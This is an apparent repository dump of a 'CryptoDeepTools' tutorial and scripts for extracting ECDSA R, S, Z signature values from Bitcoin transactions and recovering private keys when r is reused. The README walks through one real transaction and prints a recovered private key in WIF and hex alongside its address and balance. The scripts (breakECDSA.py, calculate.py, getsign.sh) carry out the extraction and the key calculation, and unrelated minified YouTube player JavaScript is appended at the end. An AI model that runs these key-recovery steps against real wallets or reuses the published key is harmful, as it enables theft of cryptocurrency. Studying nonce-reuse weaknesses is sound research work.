├── Author.md ├── README.md ├── Sources ├── README.md ├── RawTX.json ├── breakECDSA.py ├── calculate.py ├── getsign.sh ├── keyUtils.py ├── requirements.txt ├── txnUtils.py └── vulnerabilityR.py └── The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file - «CRYPTO DEEP TECH»_files ├── 049126899d0dc2b84a30b18fc496c258.png ├── 20d6748c4bdd5e28ada4e9d06b9e8d35.png ├── 2e19dfc270a6f0bc6bd2ea9123215442.png ├── 5f0cf56f00c897f69fab24e8a3073588.png ├── 6b872307d4a4dc3a74386c2b83d133a2.png ├── 7d1bdc190149e6da8505d21155f14bbd.png ├── 972d1b5554e84191da57b16415061198.png ├── 9bfc350c715272db79f6bd5c6039e924.png ├── BYd-cuFRZmM(1).html ├── BYd-cuFRZmM.html ├── H7nvYvOfHnKCxYWMHscKykYq8uwe1E_aCBXglESdy34.js ├── TAC40eE5uBRCVKR1lG4GpbNhQ28DpJorjHN0bVIpprw.js ├── a69992dcf93bacd0324c9a06722be9b5.png ├── base.js ├── c5f301358b79c833d7701b7c883235a7.png ├── cast_sender.js ├── cc32e294aa0e77019d1581ce61893349.png ├── cropped-header4.png ├── css ├── embed.js ├── fetch-polyfill.js ├── jquery-migrate.min.js ├── jquery.magnific-popup.min.js ├── jquery.min.js ├── remote.js ├── style.min.css ├── tag.js ├── wmac_single_2b1ae4cca3cc8d12c39be42768565308.js ├── wmac_single_30b593b71d7672658f89bfea0ab360c9.css ├── wmac_single_49cea0a781874a962879c2caca9bc322.js ├── wmac_single_6ec0e9b3201c83a442e24aba829a5f05.js ├── wmac_single_8de4505c66a21eefd3c1c98b6400e4e1.css ├── wmac_single_8f426a1779caff96bb3f2afbcff86bc9.css ├── wmac_single_c495654869785bc3df60216616814ad1.css ├── wmac_single_c8322bd5bffc8e2856f2cbcd03c61d18.css ├── wmac_single_ccdf893e7d8b26933af0c336bcc3943e.js ├── wmac_single_d1cf6f49400112d539e59eee9b75e10d.css ├── wmac_single_d26191bd0380b0cf97525a613b8b566c.css ├── wmac_single_e6094661d8923e95b233019ebff7c8f0.css ├── wmac_single_ea8874ba65dbd53bf5c7fb5c619ac579.js ├── www-embed-player.js └── www-player.css /Author.md: -------------------------------------------------------------------------------- 1 | ## CONTENTS: 2 | 3 | [cryptodeeptech.ru](https://cryptodeeptech.ru) — Website 4 | 5 | [t.me/cryptodeeptech](https://t.me/cryptodeeptech) — Telegram 6 | 7 | 8 | ## CONTACTS: 9 | 10 | cryptodeeptech@gmail.com — Email mail for all questions 11 | 12 | [t.me/cryptodeep_tech](https://t.me/cryptodeep_tech) — Technical support via Telegram 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file 2 | 3 |

In this article, we will talk about extracting signature values  ECDSA R, S, Z ​​from the Bitcoin blockchain, but first, let’s remember the very first serious vulnerability in the blockchain transaction that was discovered by  Niels Schneider  ( Nils Schneider aka  tcatm  )

4 |

Bitcoin developer and owner  of «BitcoinWatch»  &  «BitcoinCharts».

5 |
4.1 History of dangerous random attacks on Bitcoin
4.1 History of dangerous random attacks on Bitcoin
6 |

Document  [PDF]Private Key Recovery Combination Attacks: On Extreme Fragility of Popular Bitcoin Key Management, Wallet and Cold Storage Solutions in Presence of Poor RNG Events 

7 |

On December 25, 2012,  Nils discovered a potential weakness in some Bitcoin blockchain transactions.

8 |

Look at this transaction:

9 |

transaction: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1

10 |
11 |
The very first serious vulnerability in Blockchain and how to get the public key Bitcoin ECDSA RSZ value from the RawTX file
12 |
13 |
input script 1:
 14 | 30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
 15 | 
 16 | input script 2:
 17 | 30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff
18 |

This transaction has two inputs and one output.
19 | If you look closely at the two input scripts, you will notice that there are quite a few identical bytes at the beginning and at the end.
20 | Those bytes at the end are the hex encoded public key of the address the coins are being spent on, so there’s nothing wrong with that.
21 | However, the first half of the script is the actual signature  (r, s):

22 |
r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
 23 | r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
 24 | 
 25 | s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
 26 | s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
27 |

As you can see,  it’s r1 the same  r2This is  a huge problem .

28 |

We can restore the  private key  to this public key:

29 |

04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

30 |

To do this, we can use a simple formula from school algebra 😉

31 |
private key = (z1*s2 - z2*s1)/(r*(s1-s2))
32 |

We just need to find  z1 and z2

33 |

These are  хэши the outputs that need to be signed. Let’s get the output transactions and count them (computed by  OP_CHECKSIG):

34 |
z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
 35 | z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc
36 |

Next, we pack all these values ​​​​in one  Python — script:  vulnerabilityR.py

37 |
Python script: vulnerabilityR.py
Python script: vulnerabilityR.py
38 |

p is just an order  of magnitude G, a parameter of the curve  secp256k1used by Bitcoin.

39 |

Let’s create a field for our calculations:

40 |
K = GF(p)
41 |
K((z1*s2 - z2*s1)/(r*(s1-s2)))
42 |

Let’s run the script: python3 vulnerabilityR.py

43 |

Next, our script:  vulnerabilityR.py will  calculate  the private key  in this field:

44 |
ADDR: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm
 45 | WIF:  5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ
 46 | hex:  c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
47 |
Checking the private key on the bitaddress website
Checking the private key on the bitaddress website
48 |

Private key found!

49 |

https://www.blockchain.com/btc/address/1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm

50 |

 52 | 0.1638109 BTC
0.1638109 BTC
53 |

Of course, the developers of Bitcoin fixed this vulnerability by introducing deterministic functions.

54 |

This feature  RFC 6979 introduces an element of randomness into the Bitcoin signature, which enhances the cryptographic strength of the transaction. ECDSA

55 |

Document  [PDF]RFC 6979: Deterministic Usage of the Digital Signature Algorithm (DSA) and Elliptic Curve Digital Signature Algorithm (ECDSA) 

56 |
57 |

As we know in practice, there are completely different vulnerable transactions in the Bitcoin blockchain.

58 |

We previously posted  статью:  “One weak transaction in ECDSA on the Bitcoin blockchain and with the help of Lattice Attack we received a Private Key to BTC coins”

59 |
60 |
https://cryptodeeptech.ru/lattice-attack
61 |
62 |

Now let’s get the public key  Bitcoin ECDSA and value  ourselves R, S, Zfrom the  «RawTX.json» file  (which we got in  01BlockchainGoogleDrive  )

63 | 68 |
Teams
Teams
69 |
Files
Files
70 |
Our Bash script code: getsign.sh
Our Bash script code: getsign.sh
71 |

And so let’s take a look at the whole work  of the Bash script in detail :  getsign.sh

72 |
cat RawTX.json > index.json
73 |

Making a copy of a file  RawTX.json into a new file index.json

74 |
for run in {1..4}; do
75 |

We open  it because  we take  4 linesЦИКЛ  in the file index.json {1..4}

76 |
export LINE=1 ; sed -n "${LINE}p" index.json > index2.json
77 |

The utility  export takes  line #1  and saves it in a new file index2.json

78 |
sed -i '1d' index.json
79 |

The utility  sed removes  line #1  from the file index.json

80 |
The echo utility creates a Python script for us fileopen.py
The echo utility creates a Python script for us fileopen.py
81 |
python3 fileopen.py
82 |

We run  the Python script fileopen.py  and successfully creates a new  Bash script : signscript.sh

83 |
chmod +x signscript.sh
 84 | ./signscript.sh
85 |

We get the rights to the  Bash script : signscript.sh

86 |

As a result,  the breakECDSA.py Python script  is launched,  which eventually extracts the  value   and public key of Bitcoin fromRawTXR, S, Z

87 |

All this is saved to a file: "signatures.json"

88 |
file: "signatures.json" Bitcoin public key and R, S, Z value
file: «signatures.json» Bitcoin public key and R, S, Z value
89 |
rm signscript.sh
 90 | rm fileopen.py
91 |

The utility  rm removes  the Python script fileopen.py  and successfully creates a new  Bash script : signscript.sh

92 |
done
93 |

As a result, everything will end after  4 cycles

94 |
rm index.json
95 |

The cycle closes and the utility  rm deletes index.json

96 |

Bash script :  getsign.sh Завершает работу!

97 |

Now we have learned:

98 | 103 |

Source code:  https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography

104 |

Telegram:  https://t.me/cryptodeeptech

105 |

Video:  https://youtu.be/BYd-cuFRZmM

106 |

Source: https://cryptodeeptech.ru/break-ecdsa-cryptography

107 | 108 | --- 109 | 110 | 111 | | | Donation Address | 112 | | --- | --- | 113 | | ♥ __BTC__ | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV | 114 | | ♥ __ETH__ | 0xaBd66CF90898517573f19184b3297d651f7b90bf | 115 | 116 | -------------------------------------------------------------------------------- /Sources/README.md: -------------------------------------------------------------------------------- 1 | # CryptoDeepTools 2 | Crypto Deep Tools a set of scripts for detailed cryptanalysis of the Blockchain network in cryptocurrency Bitcoin 3 | 4 | --- 5 | 6 | ## Analyze the data from the file "RawTX.json" (which we received in [01BlockchainGoogleDrive](https://github.com/demining/CryptoDeepTools/tree/main/01BlockchainGoogleDrive)) 7 | 8 | 9 | Script [breakECDSA.py](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography/breakECDSA.py) reconstructs the signed message for each to find the Z value. The result is returned as R, S, Z, PUBKEY for each of the inputs present in the data in the "RawTX.json" file. 10 | 11 | --- 12 | 13 | * Tutorial: https://youtu.be/BYd-cuFRZmM 14 | * Tutorial: https://cryptodeep.ru/break-ecdsa-cryptography 15 | * Open Our [Terminal for Google Colab](https://github.com/demining/TerminalGoogleColab) 16 | * Create a folder "Blockchain" 17 | * Run script [getsign.sh](https://github.com/demining/CryptoDeepTools/blob/main/02BreakECDSAcryptography/getsign.sh) 18 | 19 | --- 20 | 21 | ## Commands: 22 | 23 | git clone https://github.com/demining/CryptoDeepTools.git 24 | 25 | cd CryptoDeepTools/02BreakECDSAcryptography/ 26 | 27 | pip2 install -r requirements.txt 28 | 29 | chmod +x getsign.sh 30 | 31 | ./getsign.sh 32 | 33 | 34 | 35 | --- 36 | ### All content will be saved in a file: "signatures.json" 37 | 38 | --- 39 | 40 | 41 | # [CryptoDeepTools](https://github.com/demining/CryptoDeepTools/) 42 | 43 | 44 | --- 45 | 46 | 47 | 48 | 49 | 50 | | | Donation Address | 51 | | --- | --- | 52 | | ♥ __BTC__ | 1Lw2kh9WzCActXSGHxyypGLkqQZfxDpw8v | 53 | | ♥ __ETH__ | 0xaBd66CF90898517573f19184b3297d651f7b90bf | 54 | -------------------------------------------------------------------------------- /Sources/RawTX.json: -------------------------------------------------------------------------------- 1 | 0100000001f2068914e2fea859cacd8df990daf4008f11296b3cb953794051147a265d850a000000008b483045022043784344e1e0cb498c1d73b4cee970fb0f9adf38b7891d0b1310fdb9cbc23929022100a734f4e97a05bd169a9f0eb296fc841fa57f8753db09869f8f6f8cc1232616d4014104d6597d465408e6e11264c116dd98b539740e802dc756d7eb88741696e20dfe7d3588695d2e7ad23cbf0aa056d42afada63036d66a1d9b97070dd6bc0c87ceb0dffffffff0100b864d9450000001976a9142df31a60b02cce392822c9a87198753578ef7de888ac00000000 2 | 010000000706b0efadaca4766a7d2e5427f9a803b151cbc4486205d5248806870ce7de8e8e000000008b48304502205706a053d30e90def1e863b2c8ec0f0c462e565cc19090c4926f105664d1bdf0022100c264b37bdf4ffb6174c13c6cd9f22ed3f8b66fc15ae37408a22902fb07175acc014104d6597d465408e6e11264c116dd98b539740e802dc756d7eb88741696e20dfe7d3588695d2e7ad23cbf0aa056d42afada63036d66a1d9b97070dd6bc0c87ceb0dffffffff8d48030e9030168697d03541206be1368365693ce8077ecaf18c0d717776fac1000000004847304402204b9e098bcc5deb14ec868f53bf6ed38d2a45b4f13a13bb10e9b3b67a633b47b60220468e7fd9c901c6201eced5abfc4a52522f6e0e7dd60bbfc7c71a213b5ace171201ffffffff978697cf864708dc8e1690b1dd0cf3f7c8d660de46ec4b65cd2c8d22240a04aa0000000049483045022100d55c0ec773f417e37b4958c6e4564f19e7ce562cebef555ff80e7ca78e4d04aa02201ce8ef31dc40cdd6b46986db9d5267292b9fdc150e03603cbd7499aee0c0f81401ffffffffa7739658a9b0c3b35a46fa0062db7a0077d012ce57ce68c3fa366694e3314fa40000000049483045022100ab57dd743e0fdea93389f7a3ba65855d47000a789cdea3245f9e7834faadd6d4022016998895ab0d73cb88f1ac900c80aba2ebe2e852c0a53159d937b73f4ad42b7601ffffffffe978ce3d437cd840fb272037b34022285a12a3ec4ebc61ff1e1bbf232887d4de0000000048473044022012523db1c172ca4b63208d4289a70b1e17b23e082ad06086ed5fb24b4e1162520220484b1a52abe13f1b47c447d6003bca0c0c786a5fe978c45d3c59eccc8cf9474b01fffffffff87adde1214e4d1dc2b167eb7961294beecf0c11a02fb1712ba875c2ba9d2e7f000000004a493046022100d423dd7705b1881d7398109fdc1119681cc2f91ee4baa38d7a78f96d43884f110221009d0cb81043bf95f47fb3e508e2ee9fec999cfbdc03f3ffdbe320058f8676de6101fffffffffaef25ac1a490387b13148a713df92fb170180d1980a20233812d75716351fcc000000004948304502206a58f73b4964d70897f434440dc39b5bce7838d6dcdeff2c64d628b48cb28d430221009b1808a574626953f907170eeaf8de2c03c4b4df46e64377a5fd699709a4a2c201ffffffff0100e87648170000001976a9140366041c1c1e5dfe19bbfdef94fe25a9340ab24588ac00000000 3 | 0100000001a2cb42688be9f7bbcabd85fd87c9f23f0448c1398a36051d9aaad6584f6915f8000000008b483045022100fc5e2ab560be4649b85511940daf8302cf2e2e06bfd60a75c8bae5f832da289c022045c4c9d548699bbc5f3484a2d6d59ac07ea3328a1deb6b2bb9f2f8f0727be1de014104d6597d465408e6e11264c116dd98b539740e802dc756d7eb88741696e20dfe7d3588695d2e7ad23cbf0aa056d42afada63036d66a1d9b97070dd6bc0c87ceb0dffffffff020040b743ba000000434104b85e1dca6fc939416b88b9b3ac188822a9c73825e92602c378a816c09f5a0a8de6547358de3eee9dc65a037fbc07e3fc34c6f9b0ccd8c7cd61a5f138ea22c176ac00e87648170000001976a9140366041c1c1e5dfe19bbfdef94fe25a9340ab24588ac00000000 4 | 01000000012a483f50ddbeaecf1b1586d6349500517b2d9304ce5725169d25657e0830c755000000008b48304502205ca7c70821d2e309d1eff2aba8ab1362eac870a535a534a482500d3eba9eef18022100a7a4dd346dfd30d2803abe9aa17744f02e02964b98738b15a381a6fc30acdef5014104d6597d465408e6e11264c116dd98b539740e802dc756d7eb88741696e20dfe7d3588695d2e7ad23cbf0aa056d42afada63036d66a1d9b97070dd6bc0c87ceb0dffffffff0200a0db215d0000001976a914666a5bcac99eb29e521abcf864bd08617c8cc2c288ac0088526a740000001976a9142cbcceff99a7a3a34e230b9ba6f1020e6de8714488ac00000000 -------------------------------------------------------------------------------- /Sources/breakECDSA.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import bitcoin 3 | import hashlib 4 | import txnUtils 5 | import keyUtils 6 | 7 | #tx = "" 8 | tx = "" + sys.argv[1] 9 | 10 | m = txnUtils.parseTxn(tx) 11 | e = txnUtils.getSignableTxn(m) 12 | z = hashlib.sha256(hashlib.sha256(e.decode('hex')).digest()).digest() 13 | z1 = z[::-1].encode('hex_codec') 14 | z = z.encode('hex_codec') 15 | s = keyUtils.derSigToHexSig(m[1][:-2]) 16 | pub = m[2] 17 | sigR = s[:64] 18 | sigS = s[-64:] 19 | sigZ = z 20 | 21 | print ("R = 0x" + sigR + "") 22 | print ("S = 0x" + sigS + "") 23 | print ("Z = 0x" + sigZ + "") 24 | print ("") 25 | print ("PUBKEY = " + pub + "") 26 | print ("") 27 | print ("======================================================================") 28 | print ("") -------------------------------------------------------------------------------- /Sources/calculate.py: -------------------------------------------------------------------------------- 1 | def h(n): 2 | return hex(n).replace("0x","") 3 | 4 | def extended_gcd(aa, bb): 5 | lastremainder, remainder = abs(aa), abs(bb) 6 | x, lastx, y, lasty = 0, 1, 1, 0 7 | while remainder: 8 | lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) 9 | x, lastx = lastx - quotient*x, x 10 | y, lasty = lasty - quotient*y, y 11 | return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) 12 | 13 | def modinv(a, m): 14 | g, x, y = extended_gcd(a, m) 15 | if g != 1: 16 | raise ValueError 17 | return x % m 18 | 19 | N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 20 | 21 | 22 | 23 | R = 0x83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06 24 | S = 0x7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7 25 | Z = 0x070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7 26 | K = 0x070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 27 | 28 | 29 | print (h((((S * K) - Z) * modinv(R,N)) % N)) 30 | -------------------------------------------------------------------------------- /Sources/getsign.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cat RawTX.json > index.json 3 | for run in {1..4}; do 4 | export LINE=1 ; sed -n "${LINE}p" index.json > index2.json 5 | sed -i '1d' index.json 6 | echo "with open('index2.json') as myfile:" >> fileopen.py 7 | echo " listfile='\n'.join(f'python2 breakECDSA.py {line.rstrip()[:]} >> signatures.json' for line in myfile)" >> fileopen.py 8 | echo "f = open('signscript.sh', 'a')" >> fileopen.py 9 | echo "f.write('#!/bin/bash' + '\n')" >> fileopen.py 10 | echo "f.write('' + listfile + '' + '\n')" >> fileopen.py 11 | echo "f.close()" >> fileopen.py 12 | python3 fileopen.py 13 | rm index2.json 14 | chmod +x signscript.sh 15 | ./signscript.sh 16 | rm signscript.sh 17 | rm fileopen.py 18 | done 19 | rm index.json 20 | -------------------------------------------------------------------------------- /Sources/keyUtils.py: -------------------------------------------------------------------------------- 1 | import ecdsa 2 | import ecdsa.der 3 | import ecdsa.util 4 | import hashlib 5 | import unittest 6 | import random 7 | import re 8 | import struct 9 | import utils 10 | import base58 11 | 12 | # https://en.bitcoin.it/wiki/Wallet_import_format 13 | 14 | def privateKeyToWif(key_hex): 15 | return base58.b58encode_check(0x80, key_hex.decode('hex')) 16 | 17 | 18 | def wifToPrivateKey(s): 19 | b = base58.bs58decode_check(s) 20 | return b.encode('hex') 21 | 22 | 23 | # Input is a hex-encoded, DER-encoded signature 24 | 25 | # Output is a 64-byte hex-encoded signature 26 | 27 | def derSigToHexSig(s): 28 | s, junk = ecdsa.der.remove_sequence(s.decode('hex')) 29 | if junk != '': 30 | print('JUNK', junk.encode('hex')) 31 | assert(junk == '') 32 | x, s = ecdsa.der.remove_integer(s) 33 | y, s = ecdsa.der.remove_integer(s) 34 | return ('%064x%064x' % (x, y)) 35 | 36 | 37 | # Input is hex string 38 | 39 | def privateKeyToPublicKey(s): 40 | sk = ecdsa.SigningKey.from_string(s.decode('hex'), curve=ecdsa.SECP256k1) 41 | vk = sk.verifying_key 42 | return ('\04' + sk.verifying_key.to_string()).encode('hex') 43 | 44 | 45 | 46 | # Input is hex string 47 | 48 | def keyToAddr(s): 49 | return pubKeyToAddr(privateKeyToPublicKey(s)) 50 | 51 | 52 | 53 | def pubKeyToAddr(s): 54 | ripemd160 = hashlib.new('ripemd160') 55 | ripemd160.update(hashlib.sha256(s.decode('hex')).digest()) 56 | return base58.b58encode_check(ripemd160.digest()) 57 | 58 | 59 | 60 | def addrHashToScriptPubKey(b58str): 61 | assert(len(b58str) == 34) 62 | # 76 A9 14 (20 bytes) 88 AC 63 | return ('76a914' + utils.base58CheckDecode(b58str).encode('hex') + '88ac') 64 | 65 | 66 | class TestKey(unittest.TestCase): 67 | 68 | def test_privateKeyToWif(self): 69 | w = privateKeyToWif("0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D") 70 | self.assertEqual(w, "5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ") 71 | 72 | def test_WifToPrivateKey(self): 73 | k = wifToPrivateKey("5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ") 74 | self.assertEqual(k.upper(), "0C28FCA386C7A227600B2FE50B7CAE11EC86D3BF1FBE471BE89827E19D72AA1D") 75 | 76 | def test_keyToAddr(self): 77 | a = keyToAddr("18E14A7B6A307F426A94F8114701E7C8E774E7F9A47E2C2035DB29A206321725") 78 | self.assertEqual(a, "16UwLL9Risc3QfPqBUvKofHmBQ7wMtjvM") 79 | 80 | def test_pairs1(self): 81 | #blockchain.info 82 | wallet_addr = "1EyBEhrriJeghX4iqATQEWDq38Ae8ubBJe" 83 | wallet_private = "8tnArBrrp4KHVjv8WA6HiX4ev56WDhqGA16XJCHJzhNH" 84 | wallet_key = utils.base256encode(utils.base58decode(wallet_private)).encode('hex') 85 | self.assertEqual(keyToAddr(wallet_key), wallet_addr) 86 | # can import into multibit 87 | bitcoin_qt = "5Jhw8B9J9QLaMmcBRfz7x8KkD9gwbNoyBMfWyANqiDwm3FFwgGC" 88 | wallet_key = utils.base58CheckDecode(bitcoin_qt).encode('hex') 89 | self.assertEqual(keyToAddr(wallet_key), wallet_addr) 90 | wallet_key = "754580de93eea21579441b58e0c9b09f54f6005fc71135f5cfac027394b22caa" 91 | self.assertEqual(keyToAddr(wallet_key), wallet_addr) 92 | 93 | def test_pairs2(self): 94 | #http://gobittest.appspot.com/Address 95 | # Cannot import into multibit 96 | wallet_private = "BB08A897EA1E422F989D36DE8D8186D8406BE25E577FD2A66976BF172325CDC9" 97 | wallet_addr = "1MZ1nxFpvUgaPYYWaLPkLGAtKjRqcCwbGh" 98 | self.assertEqual(keyToAddr(wallet_private), wallet_addr) 99 | 100 | def test_pairs3(self): 101 | # Can import into multibit 102 | # http://bitaddress.org 103 | wallet_private = "5J8PhneLEaL9qEPvW5voRgrELeXcmM12B6FbiA9wZAwDMnJMb2L" 104 | wallet_addr = "1Q2SuNLDXDtda7DPnBTocQWtUg1v4xZMrV" 105 | self.assertEqual(keyToAddr(utils.base58CheckDecode(wallet_private).encode('hex')), wallet_addr) 106 | 107 | def test_der(self): 108 | self.assertEqual(ecdsa.der.encode_sequence( 109 | ecdsa.der.encode_integer(0x123456), 110 | ecdsa.der.encode_integer(0x89abcd)).encode('hex'), 111 | "300b020312345602040089abcd") 112 | 113 | def test_derSigToHexSig(self): 114 | derSig = "304502204c01fee2d724fb2e34930c658f585d49be2f6ac87c126506c0179e6977716093022100faad0afd3ae536cfe11f83afaba9a8914fc0e70d4c6d1495333b2fb3df6e8cae" 115 | self.assertEqual("4c01fee2d724fb2e34930c658f585d49be2f6ac87c126506c0179e6977716093faad0afd3ae536cfe11f83afaba9a8914fc0e70d4c6d1495333b2fb3df6e8cae", 116 | derSigToHexSig(derSig)) 117 | txn = ("0100000001a97830933769fe33c6155286ffae34db44c6b8783a2d8ca52ebee6414d399ec300000000" + "8a47" + "304402202c2e1a746c556546f2c959e92f2d0bd2678274823cc55e11628284e4a13016f80220797e716835f9dbcddb752cd0115a970a022ea6f2d8edafff6e087f928e41baac01" + "41" + "04392b964e911955ed50e4e368a9476bc3f9dcc134280e15636430eb91145dab739f0d68b82cf33003379d885a0b212ac95e9cddfd2d391807934d25995468bc55" + "ffffffff02015f0000000000001976a914c8e90996c7c6080ee06284600c684ed904d14c5c88ac204e000000000000" + "1976a914348514b329fda7bd33c7b2336cf7cd1fc9544c0588ac00000000") 118 | myTxn_forSig =("0100000001a97830933769fe33c6155286ffae34db44c6b8783a2d8ca52ebee6414d399ec300000000" + "1976a914" + "167c74f7491fe552ce9e1912810a984355b8ee07" + "88ac" + "ffffffff02015f0000000000001976a914c8e90996c7c6080ee06284600c684ed904d14c5c88ac204e000000000000" +"1976a914348514b329fda7bd33c7b2336cf7cd1fc9544c0588ac00000000" + "01000000") 119 | public_key = "04392b964e911955ed50e4e368a9476bc3f9dcc134280e15636430eb91145dab739f0d68b82cf33003379d885a0b212ac95e9cddfd2d391807934d25995468bc55" 120 | hashToSign = hashlib.sha256(hashlib.sha256(myTxn_forSig.decode('hex')).digest()).digest().encode('hex') 121 | sig_der = "304402202c2e1a746c556546f2c959e92f2d0bd2678274823cc55e11628284e4a13016f80220797e716835f9dbcddb752cd0115a970a022ea6f2d8edafff6e087f928e41baac01"[:-2] 122 | sig = derSigToHexSig(sig_der) 123 | vk = ecdsa.VerifyingKey.from_string(public_key[2:].decode('hex'), curve=ecdsa.SECP256k1) 124 | self.assertEquals(vk.verify_digest(sig.decode('hex'), hashToSign.decode('hex')), True) 125 | #OP_DUP OP_HASH160 167c74f7491fe552ce9e1912810a984355b8ee07 OP_EQUALVERIFY OP_CHECKSIG 126 | 127 | if __name__ == '__main__': 128 | unittest.main() -------------------------------------------------------------------------------- /Sources/requirements.txt: -------------------------------------------------------------------------------- 1 | bitcoin 2 | ecdsa 3 | utils 4 | base58 5 | -------------------------------------------------------------------------------- /Sources/txnUtils.py: -------------------------------------------------------------------------------- 1 | import ecdsa 2 | import hashlib 3 | import struct 4 | import unittest 5 | import utils 6 | import keyUtils 7 | import base58 8 | 9 | # Makes a transaction from the inputs 10 | # outputs is a list of [redemptionSatoshis, outputScript] 11 | 12 | def makeRawTransaction(outputTransactionHash, sourceIndex, scriptSig, outputs): 13 | def makeOutput(data): 14 | redemptionSatoshis, outputScript = data 15 | return (struct.pack(""}else d=void 0===c?"undefined":null===c?"null":typeof c;w("Argument is not a %s (or a non-Element, non-Location mock); got: %s","HTMLScriptElement",d)}a instanceof A&&a.constructor===A?d=a.g:(d=typeof a,w("expected object of type TrustedResourceUrl, got '"+a+"' of type "+("object"!= 10 | d?d:a?Array.isArray(a)?"array":d:"null")),d="type_error:TrustedResourceUrl");c.src=d;(d=c.ownerDocument&&c.ownerDocument.defaultView)&&d!=m?d=q(d.document):(null===p&&(p=q(m.document)),d=p);d&&c.setAttribute("nonce",d);(document.head||document.documentElement).appendChild(c)},I=function(){var a=B(),b=[];if(1=c)return 0;if(1<=c)return 1;for(var d=0,e=1,f=0,h=0;8>h;h++){f=g.zo(a,c);var l=(g.zo(a,c+1E-6)-f)/1E-6;if(1E-6>Math.abs(f-b))return c;if(1E-6>Math.abs(l))break;else fh;h++)fc.ou;c={ou:c.ou},c.ou++){var d=new g.W({F:"a",N:"ytp-suggestion-link",X:{href:"{{link}}",target:a.J,"aria-label":"{{aria_label}}"},W:[{F:"div",N:"ytp-suggestion-image",W:[{F:"div",X:{"data-is-live":"{{is_live}}"},N:"ytp-suggestion-duration",qa:"{{duration}}"}]},{F:"div",N:"ytp-suggestion-title",X:{title:"{{hover_title}}"},qa:"{{title}}"},{F:"div",N:"ytp-suggestion-author", 9 | qa:"{{views_or_author}}"}]});g.M(this,d);d.Ca(this.suggestions.element);var e=d.Da("ytp-suggestion-link");g.yl(e,"transitionDelay",c.ou/20+"s");this.C.T(e,"click",function(f){return function(h){var l=b.suggestionData[f.ou],m=l.sessionData;g.FO(h,b.api,b.J,m||void 0)&&b.api.Ll(l.videoId,m,l.playlistId)}}(c)); 10 | this.u.push(d)}g.M(this,this.next);this.next.Ca(this.element);this.next.Ra("click",this.xU,this);this.C.T(this.api,"videodatachange",this.onVideoDataChange);this.resize(this.api.gb().getPlayerSize());this.onVideoDataChange();this.show()},e6=function(a){return a.suggestionData.length*(a.tileWidth+a.B)},s4a=function(a){a.next.element.style.bottom=a.D+"px"; 11 | a.previous.element.style.bottom=a.D+"px";var b=a.j,c=a.containerWidth-e6(a);g.lo(a.element,"ytp-scroll-min",0<=b);g.lo(a.element,"ytp-scroll-max",b<=c)},t4a=function(a){for(var b=0;ba.pu;a={pu:a.pu},a.pu++){var d=new g.W({F:"a",N:"ytp-suggestion-link",X:{href:"{{link}}", 36 | target:b.J,"aria-label":"{{aria_label}}"},W:[{F:"div",N:"ytp-suggestion-image"},{F:"div",N:"ytp-suggestion-overlay",X:{style:"{{blink_rendering_hack}}","aria-hidden":"{{aria_hidden}}"},W:[{F:"div",N:"ytp-suggestion-title",qa:"{{title}}"},{F:"div",N:"ytp-suggestion-author",qa:"{{author_and_views}}"},{F:"div",X:{"data-is-live":"{{is_live}}"},N:"ytp-suggestion-duration",qa:"{{duration}}"}]}]});g.M(this,d);d.Ca(this.suggestions.element);var e=d.Da("ytp-suggestion-link");g.yl(e,"transitionDelay",a.pu/ 37 | 20+"s");this.j.T(e,"click",function(f){return function(h){var l=f.pu;if(1E3>(0,g.T)()-c.ea)g.Ix(h),document.activeElement.blur();else{l=c.suggestionData[l];var 